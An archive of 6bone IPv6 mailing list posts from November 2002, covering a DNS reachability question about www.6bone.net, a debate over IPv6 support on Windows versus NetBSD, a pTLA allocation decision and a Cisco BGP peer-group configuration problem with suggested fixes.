Not an emergency I know but if we can't get the front end to the public =
right! :-

I have noticed that most 6bone and related sites quote the main =
information site as
www.6bone.net , this does not and has not worked for some time. Should =
this not be changed to read
http://6bone.net as this one works (or get the www.6bone.net working).
     Also www.6bone.com redirects to Plexos.com - a web design Company, =
which=20
contains little more than 1 page of links to other 6bone sites, whats =
going on there then?

Regards,

Gavin...


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<DIV><FONT face=3DArial size=3D2>Hi All, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Not an emergency I know but if we can't =
get the=20
front end to the public right! :-</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have noticed that most 6bone and =
related sites=20
quote the main information site as<BR><A=20
href=3D"http://www.6bone.net">www.6bone.net</A> , this does not and has =
not worked=20
for some time. Should this not be changed to read<BR><A=20
href=3D"http://6bone.net">http://6bone.net</A> as this one works (or get =
the <A=20
href=3D"http://www.6bone.net">www.6bone.net</A> working).</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;Also <A=20
href=3D"http://www.6bone.com">www.6bone.com</A> redirects to Plexos.com =
- a web=20
design Company, which <BR>contains little more than 1 page of links to =
other=20
6bone sites, whats going on there then?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Gavin...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><BR>---<BR>Checked for Viruses (Viri) , =

Gav...<BR>Checked by AVG anti-virus system (<A=20
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From ck@ns1.arch.bellsouth.net Fri Nov  8 19:07:46 2002
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Date: Fri, 8 Nov 2002 22:07:55 -0500
From: Christian Kuhtz <ck@arch.bellsouth.net>
To: Gav <old_mc_donald@hotmail.com>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] www.6bone.not
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On Sat, Nov 09, 2002 at 10:21:45AM +0800, Gav wrote:
[..]
> I have noticed that most 6bone and related sites quote the main information site as
> www.6bone.net , this does not and has not worked for some time. Should this not be changed to read
> http://6bone.net as this one works (or get the www.6bone.net working).

http://www.6bone.net or http://6bone.net works just fine for me.  ipv4 or ipv6.

thanks,
christian


From andrew@asol.com.ph Fri Nov  8 19:23:59 2002
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To Gav,

Maybe there is a problem on your DNS, www.6bone.net is working fine.

Andrew
  ----- Original Message -----=20
  From: Gav=20
  To: 6bone@mailman.isi.edu=20
  Sent: Saturday, November 09, 2002 10:21 Andrew
  Subject: [6bone] www.6bone.not


  Hi All,=20

  Not an emergency I know but if we can't get the front end to the =
public right! :-

  I have noticed that most 6bone and related sites quote the main =
information site as
  www.6bone.net , this does not and has not worked for some time. Should =
this not be changed to read
  http://6bone.net as this one works (or get the www.6bone.net working).
       Also www.6bone.com redirects to Plexos.com - a web design =
Company, which=20
  contains little more than 1 page of links to other 6bone sites, whats =
going on there then?

  Regards,

  Gavin...


  ---
  Checked for Viruses (Viri) , Gav...
  Checked by AVG anti-virus system (http://www.grisoft.com).
  Version: 6.0.410 / Virus Database: 231 - Release Date: 31/10/2002

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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>To Gav,</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Maybe there is a problem on your DNS, <A=20
href=3D"http://www.6bone.net">www.6bone.net</A> is working =
fine.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Andrew</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Dold_mc_donald@hotmail.com=20
  href=3D"mailto:old_mc_donald@hotmail.com">Gav</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3D6bone@mailman.isi.edu=20
  href=3D"mailto:6bone@mailman.isi.edu">6bone@mailman.isi.edu</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Saturday, November 09, =
2002 10:21=20
  Andrew</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [6bone] <A=20
  href=3D"http://www.6bone.not">www.6bone.not</A></DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DArial size=3D2>Hi All, </FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Not an emergency I know but if we =
can't get the=20
  front end to the public right! :-</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>I have noticed that most 6bone and =
related sites=20
  quote the main information site as<BR><A=20
  href=3D"http://www.6bone.net">www.6bone.net</A> , this does not and =
has not=20
  worked for some time. Should this not be changed to read<BR><A=20
  href=3D"http://6bone.net">http://6bone.net</A> as this one works (or =
get the <A=20
  href=3D"http://www.6bone.net">www.6bone.net</A> working).</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;Also <A=20
  href=3D"http://www.6bone.com">www.6bone.com</A> redirects to =
Plexos.com - a web=20
  design Company, which <BR>contains little more than 1 page of links to =
other=20
  6bone sites, whats going on there then?</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Gavin...</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2><BR>---<BR>Checked for Viruses (Viri) =
,=20
  Gav...<BR>Checked by AVG anti-virus system (<A=20
  =
href=3D"http://www.grisoft.com">http://www.grisoft.com</A>).<BR>Version: =
6.0.410=20
  / Virus Database: 231 - Release Date:=20
31/10/2002</FONT></DIV></BLOCKQUOTE></BODY></HTML>

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From john@reva.sixgirls.org Fri Nov  8 19:29:28 2002
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Date: Fri, 8 Nov 2002 22:29:24 -0500 (EST)
From: John Klos <john@sixgirls.org>
To: Gav <old_mc_donald@hotmail.com>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 connection + website.
In-Reply-To: <OE25HbLYIl26JXcgm3y000097c2@hotmail.com>
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Hello,

> > Install NetBSD on a PC, and use that.
>
> Thanks for your reply, can you explain what part of my posting you were
> answering with your reply?
> Will this solve my website query?

I think this is a good suggestion, as IPv6 on Windows is something of a
hack. Unless your intention is to learn the idiosyncracies of IPv6 on
Windows, using an operating system that does IPv6 very well is a very good
idea. It all depends on what you want to learn - the process (of setting
up IPv6) or the practise (of running IPv6). Windows involves much more
process, and NetBSD much more practise.

> I will take a look at NetBSD for my purposes, but still think Windoze will
> be the platform of choice of most end users and so needs to be kept abreast
> of.

Is your goal to learn how to deploy IPv6, or how to use IPv6 in a Windows
environment? If it's the latter, then this list isn't for you; our goal is
IPv6 deployment for the world and the lan alike, and, like the current
IPv4 Internet, for everyone regardless of OS.

To put it simply, one does not deploy for a specific OS when one deploys
for the Internet (well, people do, but it's not correct). The same is true
of IPv6.

Thanks,
John Klos
Sixgirls Computing Labs


From john@reva.sixgirls.org Fri Nov  8 20:00:42 2002
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Date: Fri, 8 Nov 2002 23:00:39 -0500 (EST)
From: John Klos <john@sixgirls.org>
To: Gav <old_mc_donald@hotmail.com>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] www.6bone.not
In-Reply-To: <OE64jYn5VSSFcl3impg000011cd@hotmail.com>
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Hi,

> I have noticed that most 6bone and related sites quote the main
> information site as www.6bone.net , this does not and has not worked for
> some time. Should this not be changed to read http://6bone.net as this
> one works (or get the www.6bone.net working).

Is there any chance that there is something wrong with your DNS server or
setup? Everything seems fine here:

dig 6bone.net:
6bone.net.              59m41s IN A     131.243.129.43

dig www.6bone.net:
www.6bone.net.          1H IN CNAME     6bone.net.
6bone.net.              1H IN A         131.243.129.43

andromeda: {4} ping6 6bone.net
PING6(56=40+8+8 bytes) 3ffe:b80:2:fb9d::2 --> 3ffe:b00:c18:1::10
16 bytes from 3ffe:b00:c18:1::10, icmp_seq=0 hlim=62 time=30.098 ms

andromeda: {5} ping6 www.6bone.net
PING6(56=40+8+8 bytes) 3ffe:b80:2:fb9d::2 --> 3ffe:b00:c18:1::10
16 bytes from 3ffe:b00:c18:1::10, icmp_seq=0 hlim=63 time=27.741 ms

>      Also www.6bone.com redirects to Plexos.com - a web design Company,
> which contains little more than 1 page of links to other 6bone sites,
> whats going on there then?

It appears that 6bone.com is owned by a domain squatter....

Best,
John Klos
Sixgirls Computing Labs


From old_mc_donald@hotmail.com Fri Nov  8 20:04:21 2002
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To: "Madrigallos, Andrew G." <andrew@asol.com.ph>, <6bone@mailman.isi.edu>
References: <OE64jYn5VSSFcl3impg000011cd@hotmail.com> <001201c2879f$a1d2ece0$e1feafca@andrew>
Subject: Re: [6bone] www.6bone.not
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  ----- Original Message -----=20
  From: Madrigallos, Andrew G.=20
  To: 6bone@mailman.isi.edu=20
  Sent: Saturday, November 09, 2002 11:25 AM
  Subject: Re: [6bone] www.6bone.not


  To Gav,

  Maybe there is a problem on your DNS, www.6bone.net is working fine.

  Andrew

  To Andrew and all,=20

  It must be me then, apologies.

  Typing in www.6bone.net gets a 'Can not find ..' error message.
  Typing in http://www.6bone.net gets a 'Page can not be displayed..' =
error message.
  Typing in http://6bone.net works just fine.

  Gav...


  ---
  Checked for Viruses (Viri) , Gav...
  Checked by AVG anti-virus system (http://www.grisoft.com).
  Version: 6.0.410 / Virus Database: 231 - Release Date: 31/10/2002
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</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Dandrew@asol.com.ph =
href=3D"mailto:andrew@asol.com.ph">Madrigallos,=20
  Andrew G.</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3D6bone@mailman.isi.edu=20
  href=3D"mailto:6bone@mailman.isi.edu">6bone@mailman.isi.edu</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Saturday, November 09, =
2002 11:25=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [6bone] <A=20
  href=3D"http://www.6bone.not">www.6bone.not</A></DIV>
  <DIV><BR></DIV>
  <DIV><FONT size=3D2>To Gav,</FONT></DIV>
  <DIV><FONT size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT size=3D2>Maybe there is a problem on your DNS, <A=20
  href=3D"http://www.6bone.net">www.6bone.net</A> is working =
fine.</FONT></DIV>
  <DIV><FONT size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT size=3D2>Andrew</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>To Andrew and all, </FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>It must be me then, =
apologies.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Typing in <A=20
  href=3D"http://www.6bone.net">www.6bone.net</A> gets a 'Can not find =
..' error=20
  message.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>Typing in <A=20
  href=3D"http://www.6bone.net">http://www.6bone.net</A> gets a 'Page =
can not be=20
  displayed..' error message.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>Typing in <A=20
  href=3D"http://6bone.net">http://6bone.net</A> works just =
fine.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>Gav...</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2><BR>---<BR>Checked for Viruses (Viri) =
,=20
  Gav...<BR>Checked by AVG anti-virus system (<A=20
  =
href=3D"http://www.grisoft.com">http://www.grisoft.com</A>).<BR>Version: =
6.0.410=20
  / Virus Database: 231 - Release Date:=20
31/10/2002</FONT></DIV></BLOCKQUOTE></BODY></HTML>

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From mrp@mrp.net Fri Nov  8 20:09:24 2002
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Date: Sat, 9 Nov 2002 14:39:03 +1030
To: "Gav" <old_mc_donald@hotmail.com>, <6bone@mailman.isi.edu>
From: Mark Prior <mrp@mrp.net>
Subject: Re: [6bone] IPv6 connection + website.
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At 10:07 AM +0800 9/11/02, Gav wrote:
>I have looked at this list and checked them out, discounting all but 3.
>I have contacted but recieved no reply from Digital and Connect.
>Looking on Belkins site they/he seems to be having a revamp and might
>not be able to offer the services I need at this time.
>
I'm not sure who would be on the Connect mailing list 
ipv6-contact@connect.com.au but neither Chris Chaundy nor I work 
there anymore so maybe no one is home on that list.

I suspect that Connect would only be interested if you are a 
customer, and only if you are persistent at nagging them :-) If you 
are a customer then try sending email to support@connect.com.au.

Mark.

From stansley@microsoft.com Fri Nov  8 20:11:17 2002
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Subject: RE: [6bone] IPv6 connection + website.
Date: Fri, 8 Nov 2002 20:11:12 -0800
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From: "Stewart Tansley" <stansley@microsoft.com>
To: "John Klos" <john@sixgirls.org>, "Gav" <old_mc_donald@hotmail.com>
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> I think this is a good suggestion, as IPv6 on Windows is 
> something of a hack. 

!! -- perhaps you are confusing the preview editions of the IPv6 stack
on Windows, such as the well-known Windows 2000 technology preview,
which were issued as Microsoft gradually refined its implementation
prior to releasing a fully-supported stack. These preview editions were
unsupported.

Microsoft today offers fully-supported IPv6 stacks in all of:

- Windows XP with Service Pack 1 (Professional and Home Editions)
- Windows XP Embedded with Service Pack 1
- Windows CE .NET

Windows .NET Server 2003 family in beta is also available, as a free
download.
 
> Unless your intention is to learn the 
> idiosyncracies of IPv6 on Windows, using an operating system 
> that does IPv6 very well is a very good idea. It all depends 
> on what you want to learn - the process (of setting up IPv6) 
> or the practise (of running IPv6). Windows involves much more 
> process, and NetBSD much more practise.

I don't understand where this view is coming from. We welcome feedback
on our supported IPv6 implementations at ipv6-fb@microsoft.com. Setting
up IPv6 on a supported stack Windows OS is as simple as executing one
command or a couple of clicks in a dialog box.
 
> Is your goal to learn how to deploy IPv6, or how to use IPv6 
> in a Windows environment? If it's the latter, then this list 
> isn't for you; our goal is IPv6 deployment for the world and 
> the lan alike, and, like the current IPv4 Internet, for 
> everyone regardless of OS.

Microsoft enjoys this list too. We hadn't noticed any OS bias.

> To put it simply, one does not deploy for a specific OS when 
> one deploys for the Internet (well, people do, but it's not 
> correct). The same is true of IPv6.

There are all sorts of reasons why people deploy all sorts of platforms.
Which platforms are used should be determined by analyzing requirements
and matching capabilities.

Stewart Tansley
Program Manager
http://www.microsoft.com/ipv6/ 

From mrp@mrp.net Fri Nov  8 20:12:54 2002
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Subject: RE: [6bone] IPv6 connection + website.
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At 2:37 AM +0100 9/11/02, Jeroen Massar wrote:
>You could try Trumpet (http://www.trumpet.com/ipv6.htm)
>
>http://www.cs-ipv6.lancs.ac.uk/ftp-archive/6Bone/Maps/world.gif
>
>Hmm only two spots there :(
>
It would be interesting to know how that map was created since I 
believe that Trumpet has been doing IPv6 the longest and it's not one 
of the two spots (and Tasmania is AWOL from the map :-) I also 
suspect that Japan should be coloured red :-)

Mark.

From john@reva.sixgirls.org Fri Nov  8 20:24:27 2002
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From: John Klos <john@sixgirls.org>
To: Stewart Tansley <stansley@microsoft.com>
cc: 6bone@mailman.isi.edu
Subject: RE: [6bone] IPv6 connection + website.
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> > I think this is a good suggestion, as IPv6 on Windows is
> > something of a hack.
>
> !! -- perhaps you are confusing the preview editions of the IPv6 stack
> on Windows, such as the well-known Windows 2000 technology preview,
> which were issued as Microsoft gradually refined its implementation
> prior to releasing a fully-supported stack. These preview editions were
> unsupported.

Yes, my experience is probably a bit dated.

> Microsoft enjoys this list too. We hadn't noticed any OS bias.
>
> > To put it simply, one does not deploy for a specific OS when
> > one deploys for the Internet (well, people do, but it's not
> > correct). The same is true of IPv6.
>
> There are all sorts of reasons why people deploy all sorts of platforms.
> Which platforms are used should be determined by analyzing requirements
> and matching capabilities.

I'm sorry - perhaps I could've made my point a little more succinct by
saying that an OS-specific approach to learning new technology does not
lend itself to broad deployment. Gav incorrectly implied a dependency
between a server's OS type and the client's OS type (in the context of
IPv6 and web serving), and such incorrect thinking often leads to improper
deployment.

John Klos
Sixgirls Computing Labs



From basit@basit.cc Fri Nov  8 22:18:17 2002
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Subject: [6bone] best OS for ipv6 router.
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Hello,

 What's the best OS to be run as ipv6 router ?
linux or freebsd (usagi or kame), from the facts
we observe kame is mature(more stable) than USAGI?
By the means of libc, does glibc supports most
of things described in sockets programming rfc's ?
or freebsd libc ? for example , i'm not still able
to get exim to listen on USAGI ipv6 sockets or bind9.
exim4 works on plain linux ipv6 support but not on  usagi
(as far as my experience).

 In short, for an instance if you want to run a super duper
IPv6 router what OS you should use(linux,freebsd) ? I'm not
talking about cisco routers.

take care
- basit




From tjc@ecs.soton.ac.uk Sat Nov  9 01:46:37 2002
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: "Madrigallos, Andrew G." <andrew@asol.com.ph>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] www.6bone.not
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Or maybe like me he's on BT Openworld's UK DSL service, which has been screwed
up for 10 days now, witrh customers unable to reach a lare chunk of web sites.
I despair for such an ISP deploying IPv6 when they can't even support IPv4.

Tim

On Sat, Nov 09, 2002 at 11:25:14AM +0800, Madrigallos, Andrew G. wrote:
> To Gav,
> 
> Maybe there is a problem on your DNS, www.6bone.net is working fine.
> 
> Andrew
>   ----- Original Message ----- 
>   From: Gav 
>   To: 6bone@mailman.isi.edu 
>   Sent: Saturday, November 09, 2002 10:21 Andrew
>   Subject: [6bone] www.6bone.not
> 
> 
>   Hi All, 
> 
>   Not an emergency I know but if we can't get the front end to the public right! :-
> 
>   I have noticed that most 6bone and related sites quote the main information site as
>   www.6bone.net , this does not and has not worked for some time. Should this not be changed to read
>   http://6bone.net as this one works (or get the www.6bone.net working).
>        Also www.6bone.com redirects to Plexos.com - a web design Company, which 
>   contains little more than 1 page of links to other 6bone sites, whats going on there then?
> 
>   Regards,
> 
>   Gavin...
> 
> 
>   ---
>   Checked for Viruses (Viri) , Gav...
>   Checked by AVG anti-virus system (http://www.grisoft.com).
>   Version: 6.0.410 / Virus Database: 231 - Release Date: 31/10/2002

From jeroen@unfix.org Sat Nov  9 02:08:43 2002
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To: "'John Klos'" <john@sixgirls.org>, "'Gav'" <old_mc_donald@hotmail.com>
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Subject: RE: [6bone] IPv6 connection + website.
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John Klos wrote:

> Hello,
> 
> > > Install NetBSD on a PC, and use that.

Install the OS you need and install that on whatever hardware you got
and/or want.

> >
> > Thanks for your reply, can you explain what part of my 
> posting you were
> > answering with your reply?
> > Will this solve my website query?
> 
> I think this is a good suggestion, as IPv6 on Windows is 
> something of a hack. Unless your intention is to learn the
idiosyncracies of IPv6 on
> Windows, using an operating system that does IPv6 very well 
> is a very good idea. It all depends on what you want to learn - the
process 
> (of setting up IPv6) or the practise (of running IPv6). Windows
involves much more
> process, and NetBSD much more practise.

Ehm what kind of weird statement is that?
What is so peeping difficult at reading documents to configure stuff?
One doesn't even have to for both OS's (ipv6 install and rtsold
<interface> :)
Calling the Windows IPv6 stack is really odd as it's a fine nice working
seperate IPv6 stack independent of the IPv4 one. It all works very well.
Could you also explain the "iodiosyncracies" whatever that may be??
And what is the hacking involved in there? Every stack has their
oddities
and without them it wouldn't be fun now would it ?

> Is your goal to learn how to deploy IPv6, or how to use IPv6 in a
Windows
> environment? If it's the latter, then this list isn't for 
> you; our goal is IPv6 deployment for the world and the lan alike, and,
like the current
> IPv4 Internet, for everyone regardless of OS.

Indeed _regardless_ of OS, and why the peep can't he use Windows for
that?
It works perfectly well as one, even though some people prefer this and
other
people prefer that. Also IMHO I think the 'process' part for learning a
complete UNIX
system is much higher than learning Windows, which is mostly the reason
most
people use Windows. Lower learning curve or 'process' as you like to
call it.

> To put it simply, one does not deploy for a specific OS when 
> one deploys for the Internet (well, people do, but it's not correct).
The 
> same is true of IPv6.

You didn't read/see Lord Of The Rings yet I assume:

One protocol to bind them all,
multiple program's to use it all,
multiple OS'es to run it all"

Ah well it at least looks a bit like that one thingy :)
Translated into english: Use what you want wherever you want when and
whereever you need it.

Greets,
 Jeroen


From pim@ipng.nl Sat Nov  9 03:32:04 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@mailman.isi.edu>, David Kessens <david@iprg.nokia.com>,
   Robert Rockell <rrockell@sprint.net>, Gert Doering <gert@space.net>,
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Subject: Re: [6bone] NDSOFTWARE pTLA review
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Dear committee members,

| After careful review, and further questions asked of, and answered by, 
| Nicolas Deffayet, the panel unanimously agrees that NDSOFTWARE should be 
| granted their pTLA allocation.

Such a decision was made only after very careful consideration and I will 
no longer doubt the validity of DEFFAYETs pTLA that will be granted to him
and/or NDSoftware. I trust your good judgment in this case, even though
we disagree. Thanks for the time you spent on the matter.

I think Bob makes a valid point that we should revise RFC2772 to make
the pTLA allocation request less ambiguous in the future. Let's procede
with 6BONE and keep this list at the high quality standard that it's
always been !

Kind regards,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From Q@ping.be Sat Nov  9 04:54:36 2002
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On Sat, Nov 09, 2002 at 10:21:45AM +0800, Gav wrote:
> I have noticed that most 6bone and related sites quote the main information site as
> www.6bone.net , this does not and has not worked for some time. Should this not be changed to read
> http://6bone.net as this one works (or get the www.6bone.net working).

www.6bone.net.          1H IN CNAME     6bone.net.

Looks weird to me that 1 would work and the other not.


Kurt


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Subject: [6bone] Cisco bug ?
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Hi,

We're using a Cisco 7507 with a RSP4+ (256meg).

6B1.AMS7#ping 2001:820:0:1:1::2

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 2001:820:0:1:1::2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 40/64/100 ms
6B1.AMS7#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
6B1.AMS7(config)#router bgp 1890
6B1.AMS7(config-router)#neighbor 2001:820:0:1:1::2 remote-as 16186
6B1.AMS7(config-router)#address-family ipv6
6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 activate
6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
% Activate the peer-group for the address family first

6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 remote-as 16186
6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
% Activate the peer-group for the address family first

6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 activate
6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 remote-as 16186
6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
% Activate the peer-group for the address family first

Any idea ? I've had this problem a couple of times but still the same
problem. Sometimes a router reload helps... But that's not the way we want
it :)

System image file is "slot0:rsp-pv-mz.122-0.5.T.bin"


Hans

WorldCom
EMEA Network Operations
Joan Muyskenweg 24
1096 CJ Amsterdam

Tel: +31 20 7112428 (Fax: 2455)
V-Net: 711 2428
http://www.wcom.com/nl/


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Hi Tim,

Luckily IPv6 at BT is currently handled by BTexact, not BTopenworld ;-)
Their ipv6 team are very helpful and i've had zero problems from them.

Sadly, their DSL sucks :)


Daniel.

> Or maybe like me he's on BT Openworld's UK DSL service, which has been
> screwed up for 10 days now, witrh customers unable to reach a lare chunk
> of web sites. I despair for such an ISP deploying IPv6 when they can't
> even support IPv4.
>
> Tim
>
> On Sat, Nov 09, 2002 at 11:25:14AM +0800, Madrigallos, Andrew G. wrote:
>> To Gav,
>>
>> Maybe there is a problem on your DNS, www.6bone.net is working fine.
>>
>> Andrew
>>   ----- Original Message -----
>>   From: Gav
>>   To: 6bone@mailman.isi.edu
>>   Sent: Saturday, November 09, 2002 10:21 Andrew
>>   Subject: [6bone] www.6bone.not
>>
>>
>>   Hi All,
>>
>>   Not an emergency I know but if we can't get the front end to the
>> public right! :-
>>
>>   I have noticed that most 6bone and related sites quote the main
>> information site as www.6bone.net , this does not and has not worked
>> for some time. Should this not be changed to read http://6bone.net
>> as this one works (or get the www.6bone.net working).
>>        Also www.6bone.com redirects to Plexos.com - a web design
>> Company, which
>>   contains little more than 1 page of links to other 6bone sites,
>> whats going on there then?
>>
>>   Regards,
>>
>>   Gavin...
>>
>>
>>   ---
>>   Checked for Viruses (Viri) , Gav...
>>   Checked by AVG anti-virus system (http://www.grisoft.com).
>>   Version: 6.0.410 / Virus Database: 231 - Release Date: 31/10/2002
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


-- 


With Thanks,

Daniel Austin,
Managing Director,
Kewlio.net Limited.
<daniel@kewlio.net>



From czmok@gollum.gatel.net Sat Nov  9 05:42:51 2002
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Date: Sat, 9 Nov 2002 14:39:55 +0100
From: Jan Czmok <czmok@gatel.net>
To: hans.goes@wcom.com
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Cisco bug ?
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Hans Goes (hgoes@eu.uu.net) wrote:
> Hi,
> 
> We're using a Cisco 7507 with a RSP4+ (256meg).
> 
> 6B1.AMS7#ping 2001:820:0:1:1::2
> 
> Type escape sequence to abort.
> Sending 5, 100-byte ICMP Echos to 2001:820:0:1:1::2, timeout is 2 seconds:
> !!!!!
> Success rate is 100 percent (5/5), round-trip min/avg/max = 40/64/100 ms
> 6B1.AMS7#conf t
> Enter configuration commands, one per line.  End with CNTL/Z.
> 6B1.AMS7(config)#router bgp 1890
> 6B1.AMS7(config-router)#neighbor 2001:820:0:1:1::2 remote-as 16186
> 6B1.AMS7(config-router)#address-family ipv6
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 activate
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
> % Activate the peer-group for the address family first
> 
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 remote-as 16186
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
> % Activate the peer-group for the address family first
> 
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 activate
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 remote-as 16186
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
> % Activate the peer-group for the address family first
> 
> Any idea ? I've had this problem a couple of times but still the same
> problem. Sometimes a router reload helps... But that's not the way we want
> it :)
> 
> System image file is "slot0:rsp-pv-mz.122-0.5.T.bin"
> 

it's quite easy:

router bgp 1890ß
address-family ipv6
neighbor transit activate

then then the above...

--jan


-- 
     Jan Ahrent Czmok - Senior Network Engineer - Access Networks
Global Access Telecommunications, Inc. - Stephanstr. 3 - 60313 Frankfurt
voice: +49 69 299896-35 - fax: +49 69 299896-66 - email: czmok@gatel.de

From gert@Space.Net Sat Nov  9 05:52:38 2002
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From: Gert Doering <gert@space.net>
To: hans.goes@wcom.com
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Cisco bug ?
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hi,

On Sat, Nov 09, 2002 at 01:11:34PM +0000, Hans Goes wrote:
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 remote-as 16186
> 6B1.AMS7(config-router-af)#neighbor 2001:820:0:1:1::2 peer-group transit
> % Activate the peer-group for the address family first

I think the trick is to have a:

address-family ipv6
  neigh transit activate

in there - if the *peer-group* isn't activated for a specific address
family, you can't apply it to the neighbor for that family.

[..]
> Any idea ? I've had this problem a couple of times but still the same
> problem. Sometimes a router reload helps... But that's not the way we want
> it :)

Of course if the problem appears only intermittant, the chance is very
high that you're hitting a bug.

> System image file is "slot0:rsp-pv-mz.122-0.5.T.bin"

If the router in question is doing v6 only, you might have good results
with 12.0(11)T2 (but we have seen a ghost bug recently that might have been
caused by that version, so beware).

If the router is doing v4 plus v6 and eventually v4 multicast, I can't
recommend any image to you.  All 12.2T images that I've heard of are 
broken for that purpose.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48540  (48282)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From owens@nysernet.org Sat Nov  9 06:08:17 2002
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We routinely have problems with the router not putting the 'neighbor
activate' statement in the config, so that after a reload the peers don't
come back. It requires a manual activate, after which you can paste in the
relevant config lines. I don't recall if there's a bug open on this one or
not, though Cisco certainly knows about it.

Bill.


From owens@nysernet.org Sat Nov  9 06:26:20 2002
